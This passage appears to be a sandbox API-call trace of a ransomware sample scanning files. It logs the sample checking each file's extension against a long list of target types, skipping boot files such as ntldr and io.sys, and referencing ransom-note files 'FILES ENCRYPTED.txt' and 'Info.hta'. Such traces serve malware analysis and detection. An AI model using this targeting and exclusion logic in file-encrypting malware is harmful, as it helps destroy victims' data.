	[0176.959] lstrlenW (lpString=".accdw") returned 6
	[0176.959] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0176.959] lstrlenW (lpString=".adb") returned 4
	[0176.959] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0176.959] lstrlenW (lpString=".adp") returned 4
	[0176.959] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0176.959] lstrlenW (lpString=".ai") returned 3
	[0176.959] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0176.959] lstrlenW (lpString=".ai3") returned 4
	[0176.959] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0176.959] lstrlenW (lpString=".ai4") returned 4
	[0176.959] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0176.959] lstrlenW (lpString=".ai5") returned 4
	[0176.959] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0176.959] lstrlenW (lpString=".ai6") returned 4
	[0176.959] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0176.959] lstrlenW (lpString=".ai7") returned 4
	[0176.960] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0176.960] lstrlenW (lpString=".ai8") returned 4
	[0176.960] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0176.960] lstrlenW (lpString=".anim") returned 5
	[0176.960] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0176.960] lstrlenW (lpString=".arw") returned 4
	[0176.960] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0176.960] lstrlenW (lpString=".as") returned 3
	[0176.960] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0176.960] lstrlenW (lpString=".asa") returned 4
	[0176.960] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0176.960] lstrlenW (lpString=".asc") returned 4
	[0176.960] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0176.960] lstrlenW (lpString=".ascx") returned 5
	[0176.960] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0176.960] lstrlenW (lpString=".asm") returned 4
	[0176.960] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0176.960] lstrlenW (lpString=".asmx") returned 5
	[0176.960] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0176.960] lstrlenW (lpString=".asp") returned 4
	[0176.960] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0176.960] lstrlenW (lpString=".aspx") returned 5
	[0176.960] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0176.960] lstrlenW (lpString=".asr") returned 4
	[0176.960] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0176.960] lstrlenW (lpString=".asx") returned 4
	[0176.960] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0176.960] lstrlenW (lpString=".avi") returned 4
	[0176.961] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0176.961] lstrlenW (lpString=".avs") returned 4
	[0176.961] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0176.961] lstrlenW (lpString=".backup") returned 7
	[0176.961] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0176.961] lstrlenW (lpString=".bak") returned 4
	[0176.961] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0176.961] lstrlenW (lpString=".bay") returned 4
	[0176.961] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0176.961] lstrlenW (lpString=".bd") returned 3
	[0176.961] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0176.961] lstrlenW (lpString=".bin") returned 4
	[0176.961] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0176.961] lstrlenW (lpString=".bmp") returned 4
	[0176.961] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0176.961] lstrlenW (lpString=".bz2") returned 4
	[0176.961] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0176.961] lstrlenW (lpString=".c") returned 2
	[0176.961] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0176.961] lstrlenW (lpString=".cdr") returned 4
	[0176.961] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0176.961] lstrlenW (lpString=".cer") returned 4
	[0176.961] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0176.961] lstrlenW (lpString=".cf") returned 3
	[0176.961] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0176.961] lstrlenW (lpString=".cfc") returned 4
	[0176.961] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0176.961] lstrlenW (lpString=".cfm") returned 4
	[0176.961] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0176.961] lstrlenW (lpString=".cfml") returned 5
	[0176.961] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0176.961] lstrlenW (lpString=".cfu") returned 4
	[0176.961] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".chm") returned 4
	[0176.962] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".cin") returned 4
	[0176.962] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".class") returned 6
	[0176.962] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0176.962] lstrlenW (lpString=".clx") returned 4
	[0176.962] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".config") returned 7
	[0176.962] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0176.962] lstrlenW (lpString=".cpp") returned 4
	[0176.962] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".cr2") returned 4
	[0176.962] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".crt") returned 4
	[0176.962] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".crw") returned 4
	[0176.962] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".cs") returned 3
	[0176.962] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0176.962] lstrlenW (lpString=".css") returned 4
	[0176.962] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".csv") returned 4
	[0176.962] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".cub") returned 4
	[0176.962] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".dae") returned 4
	[0176.962] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".dat") returned 4
	[0176.962] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".db") returned 3
	[0176.962] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0176.962] lstrlenW (lpString=".dbf") returned 4
	[0176.962] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0176.962] lstrlenW (lpString=".dbx") returned 4
	[0176.963] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0176.963] lstrlenW (lpString=".dc3") returned 4
	[0176.963] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0176.963] lstrlenW (lpString=".dcm") returned 4
	[0176.963] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0176.963] lstrlenW (lpString=".dcr") returned 4
	[0176.963] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0176.963] lstrlenW (lpString=".der") returned 4
	[0176.963] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0176.963] lstrlenW (lpString=".dib") returned 4
	[0176.963] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0176.963] lstrlenW (lpString=".dic") returned 4
	[0176.963] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0176.963] lstrlenW (lpString=".dif") returned 4
	[0176.963] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0176.963] lstrlenW (lpString=".divx") returned 5
	[0176.963] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0176.963] lstrlenW (lpString=".djvu") returned 5
	[0176.963] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0176.963] lstrlenW (lpString=".dng") returned 4
	[0176.963] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0176.963] lstrlenW (lpString=".doc") returned 4
	[0176.963] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0176.963] lstrlenW (lpString=".docm") returned 5
	[0176.963] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0176.963] lstrlenW (lpString=".docx") returned 5
	[0176.963] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0176.963] lstrlenW (lpString=".dot") returned 4
	[0176.963] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0176.963] lstrlenW (lpString=".dotm") returned 5
	[0176.963] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0176.963] lstrlenW (lpString=".dotx") returned 5
	[0176.963] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0176.964] lstrlenW (lpString=".dpx") returned 4
	[0176.964] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0176.964] lstrlenW (lpString=".dqy") returned 4
	[0176.964] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0176.964] lstrlenW (lpString=".dsn") returned 4
	[0176.964] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0176.964] lstrlenW (lpString=".dt") returned 3
	[0176.964] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0176.964] lstrlenW (lpString=".dtd") returned 4
	[0176.964] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0176.964] lstrlenW (lpString=".dwg") returned 4
	[0176.964] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0176.964] lstrlenW (lpString=".dwt") returned 4
	[0176.964] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0176.964] lstrlenW (lpString=".dx") returned 3
	[0176.964] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0176.964] lstrlenW (lpString=".dxf") returned 4
	[0176.964] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0176.964] lstrlenW (lpString=".edml") returned 5
	[0176.964] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0176.964] lstrlenW (lpString=".efd") returned 4
	[0176.964] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0176.964] lstrlenW (lpString=".elf") returned 4
	[0176.964] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0176.964] lstrlenW (lpString=".emf") returned 4
	[0176.964] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0176.964] lstrlenW (lpString=".emz") returned 4
	[0176.964] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0176.964] lstrlenW (lpString=".epf") returned 4
	[0176.964] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0176.964] lstrlenW (lpString=".eps") returned 4
	[0176.964] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0176.964] lstrlenW (lpString=".epsf") returned 5
	[0176.965] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0176.965] lstrlenW (lpString=".epsp") returned 5
	[0176.965] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0176.966] lstrlenW (lpString=".erf") returned 4
	[0176.966] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0176.966] lstrlenW (lpString=".exr") returned 4
	[0176.966] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0176.966] lstrlenW (lpString=".f4v") returned 4
	[0176.966] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0176.967] lstrlenW (lpString=".fido") returned 5
	[0176.967] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0176.967] lstrlenW (lpString=".flm") returned 4
	[0176.967] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0176.967] lstrlenW (lpString=".flv") returned 4
	[0176.967] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0176.967] lstrlenW (lpString=".frm") returned 4
	[0176.967] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0176.967] lstrlenW (lpString=".fxg") returned 4
	[0176.967] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0176.967] lstrlenW (lpString=".geo") returned 4
	[0176.967] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0176.967] lstrlenW (lpString=".gif") returned 4
	[0176.967] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0176.967] lstrlenW (lpString=".grs") returned 4
	[0176.967] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0176.967] lstrlenW (lpString=".gz") returned 3
	[0176.967] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0176.967] lstrlenW (lpString=".h") returned 2
	[0176.967] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0176.967] lstrlenW (lpString=".hdr") returned 4
	[0176.967] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0176.967] lstrlenW (lpString=".hpp") returned 4
	[0176.967] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0176.967] lstrlenW (lpString=".hta") returned 4
	[0176.967] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0176.967] lstrlenW (lpString=".htc") returned 4
	[0176.967] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0176.967] lstrlenW (lpString=".htm") returned 4
	[0176.967] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0176.967] lstrlenW (lpString=".html") returned 5
	[0176.967] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0176.968] lstrlenW (lpString="index.html") returned 10
	[0176.968] lstrlenW (lpString=".Z9") returned 3
	[0176.970] lstrcmpiW (lpString1=".Z9", lpString2="tml") returned -1
	[0176.970] lstrlenW (lpString="index.html") returned 10
	[0176.970] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1
	[0176.970] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1
	[0176.970] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1
	[0176.970] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1
	[0176.970] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1
	[0176.970] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1
	[0176.970] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1
	[0176.970] lstrcmpiW (lpString1="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpString2="index.html") returned -1
	[0176.970] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\index.html") returned 111
	[0176.970] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x14d9d700, ftLastWriteTime.dwHighDateTime=0x1d29cb5, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0176.971] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0176.971] lstrlenW (lpString=".1cd") returned 4
	[0176.971] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0176.971] lstrlenW (lpString=".3ds") returned 4
	[0176.971] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0176.971] lstrlenW (lpString=".3fr") returned 4
	[0176.971] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0176.971] lstrlenW (lpString=".3g2") returned 4
	[0176.971] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0176.971] lstrlenW (lpString=".3gp") returned 4
	[0176.971] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0176.971] lstrlenW (lpString=".7z") returned 3
	[0176.971] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0176.971] lstrlenW (lpString=".accda") returned 6
	[0176.971] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0176.971] lstrlenW (lpString=".accdb") returned 6
	[0176.971] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0176.971] lstrlenW (lpString=".accdc") returned 6
	[0176.971] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0176.971] lstrlenW (lpString=".accde") returned 6
	[0176.971] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0176.971] lstrlenW (lpString=".accdt") returned 6
	[0176.971] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0176.971] lstrlenW (lpString=".accdw") returned 6
	[0176.972] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0176.972] lstrlenW (lpString=".adb") returned 4
	[0176.972] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0176.972] lstrlenW (lpString=".adp") returned 4
	[0176.972] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0176.972] lstrlenW (lpString=".ai") returned 3
	[0176.972] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0176.972] lstrlenW (lpString=".ai3") returned 4
	[0176.972] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0176.972] lstrlenW (lpString=".ai4") returned 4
	[0176.972] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0176.972] lstrlenW (lpString=".ai5") returned 4
	[0176.972] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0176.972] lstrlenW (lpString=".ai6") returned 4
	[0176.972] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0176.972] lstrlenW (lpString=".ai7") returned 4
	[0176.972] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0176.972] lstrlenW (lpString=".ai8") returned 4
	[0176.972] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0176.972] lstrlenW (lpString=".anim") returned 5
	[0176.972] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0176.972] lstrlenW (lpString=".arw") returned 4
	[0176.972] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0176.972] lstrlenW (lpString=".as") returned 3
	[0176.972] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0176.972] lstrlenW (lpString=".asa") returned 4
	[0176.972] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0176.972] lstrlenW (lpString=".asc") returned 4
	[0176.973] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0176.973] lstrlenW (lpString=".ascx") returned 5
	[0176.973] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0176.973] lstrlenW (lpString=".asm") returned 4
	[0176.973] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0176.973] lstrlenW (lpString=".asmx") returned 5
	[0176.973] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0176.973] lstrlenW (lpString=".asp") returned 4
	[0176.973] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0176.973] lstrlenW (lpString=".aspx") returned 5
	[0176.973] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0176.973] lstrlenW (lpString=".asr") returned 4
	[0176.973] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0176.973] lstrlenW (lpString=".asx") returned 4
	[0176.973] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0176.973] lstrlenW (lpString=".avi") returned 4
	[0176.973] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0176.973] lstrlenW (lpString=".avs") returned 4
	[0176.973] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0176.973] lstrlenW (lpString=".backup") returned 7
	[0176.973] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0176.973] lstrlenW (lpString=".bak") returned 4
	[0176.973] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0176.973] lstrlenW (lpString=".bay") returned 4
	[0176.974] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0176.974] lstrlenW (lpString=".bd") returned 3
	[0176.974] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0176.974] lstrlenW (lpString=".bin") returned 4
	[0176.974] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0176.974] lstrlenW (lpString=".bmp") returned 4
	[0176.974] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0176.974] lstrlenW (lpString=".bz2") returned 4
	[0176.974] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0176.974] lstrlenW (lpString=".c") returned 2
	[0176.974] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0176.974] lstrlenW (lpString=".cdr") returned 4
	[0176.974] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0176.974] lstrlenW (lpString=".cer") returned 4
	[0176.974] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0176.974] lstrlenW (lpString=".cf") returned 3
	[0176.974] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0176.974] lstrlenW (lpString=".cfc") returned 4
	[0176.974] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0176.974] lstrlenW (lpString=".cfm") returned 4
	[0176.974] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0176.974] lstrlenW (lpString=".cfml") returned 5
	[0176.974] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0176.974] lstrlenW (lpString=".cfu") returned 4
	[0176.974] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0176.974] lstrlenW (lpString=".chm") returned 4
	[0176.974] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0176.975] lstrlenW (lpString=".cin") returned 4
	[0176.975] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0176.975] lstrlenW (lpString=".class") returned 6
	[0176.975] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0176.975] lstrlenW (lpString=".clx") returned 4
	[0176.975] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0176.975] lstrlenW (lpString=".config") returned 7
	[0176.975] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0176.975] lstrlenW (lpString=".cpp") returned 4
	[0176.975] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0176.975] lstrlenW (lpString=".cr2") returned 4
	[0176.975] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0176.975] lstrlenW (lpString=".crt") returned 4
	[0176.975] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0176.975] lstrlenW (lpString=".crw") returned 4
	[0176.975] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0176.975] lstrlenW (lpString=".cs") returned 3
	[0176.975] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0176.975] lstrlenW (lpString=".css") returned 4
	[0176.975] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0176.975] lstrlenW (lpString=".csv") returned 4
	[0176.975] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0176.975] lstrlenW (lpString=".cub") returned 4
	[0176.975] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0176.975] lstrlenW (lpString=".dae") returned 4
	[0176.975] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0176.975] lstrlenW (lpString=".dat") returned 4
	[0176.976] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0176.976] lstrlenW (lpString=".db") returned 3
	[0176.976] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0176.976] lstrlenW (lpString=".dbf") returned 4
	[0176.976] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0176.976] lstrlenW (lpString=".dbx") returned 4
	[0176.976] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0176.976] lstrlenW (lpString=".dc3") returned 4
	[0176.976] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0176.976] lstrlenW (lpString=".dcm") returned 4
	[0176.976] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0176.976] lstrlenW (lpString=".dcr") returned 4
	[0176.976] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0176.976] lstrlenW (lpString=".der") returned 4
	[0176.976] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0176.976] lstrlenW (lpString=".dib") returned 4
	[0176.976] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0176.976] lstrlenW (lpString=".dic") returned 4
	[0176.976] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0176.976] lstrlenW (lpString=".dif") returned 4
	[0176.976] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0176.976] lstrlenW (lpString=".divx") returned 5
	[0176.976] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0176.976] lstrlenW (lpString=".djvu") returned 5
	[0176.977] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0176.977] lstrlenW (lpString=".dng") returned 4
	[0176.977] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0176.977] lstrlenW (lpString=".doc") returned 4
	[0176.977] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0176.977] lstrlenW (lpString=".docm") returned 5
	[0176.977] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0176.977] lstrlenW (lpString=".docx") returned 5
	[0176.977] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0176.977] lstrlenW (lpString=".dot") returned 4
	[0176.977] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0176.977] lstrlenW (lpString=".dotm") returned 5
	[0176.977] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0176.977] lstrlenW (lpString=".dotx") returned 5
	[0176.977] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0176.977] lstrlenW (lpString=".dpx") returned 4
	[0176.977] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0176.977] lstrlenW (lpString=".dqy") returned 4
	[0176.977] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0176.977] lstrlenW (lpString=".dsn") returned 4
	[0176.977] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0176.977] lstrlenW (lpString=".dt") returned 3
	[0176.977] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0176.977] lstrlenW (lpString=".dtd") returned 4
	[0176.977] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0176.977] lstrlenW (lpString=".dwg") returned 4
	[0176.977] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0176.978] lstrlenW (lpString=".dwt") returned 4
	[0176.978] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0176.978] lstrlenW (lpString=".dx") returned 3
	[0176.978] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0176.978] lstrlenW (lpString=".dxf") returned 4
	[0176.978] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0176.978] lstrlenW (lpString=".edml") returned 5
	[0176.978] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0176.978] lstrlenW (lpString=".efd") returned 4
	[0176.978] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0176.978] lstrlenW (lpString=".elf") returned 4
	[0176.978] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0176.978] lstrlenW (lpString=".emf") returned 4
	[0176.978] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0176.978] lstrlenW (lpString=".emz") returned 4
	[0176.978] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0176.978] lstrlenW (lpString=".epf") returned 4
	[0176.978] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0176.978] lstrlenW (lpString=".eps") returned 4
	[0176.978] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0176.978] lstrlenW (lpString=".epsf") returned 5
	[0176.978] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0176.978] lstrlenW (lpString=".epsp") returned 5
	[0176.978] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0176.978] lstrlenW (lpString=".erf") returned 4
	[0176.979] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
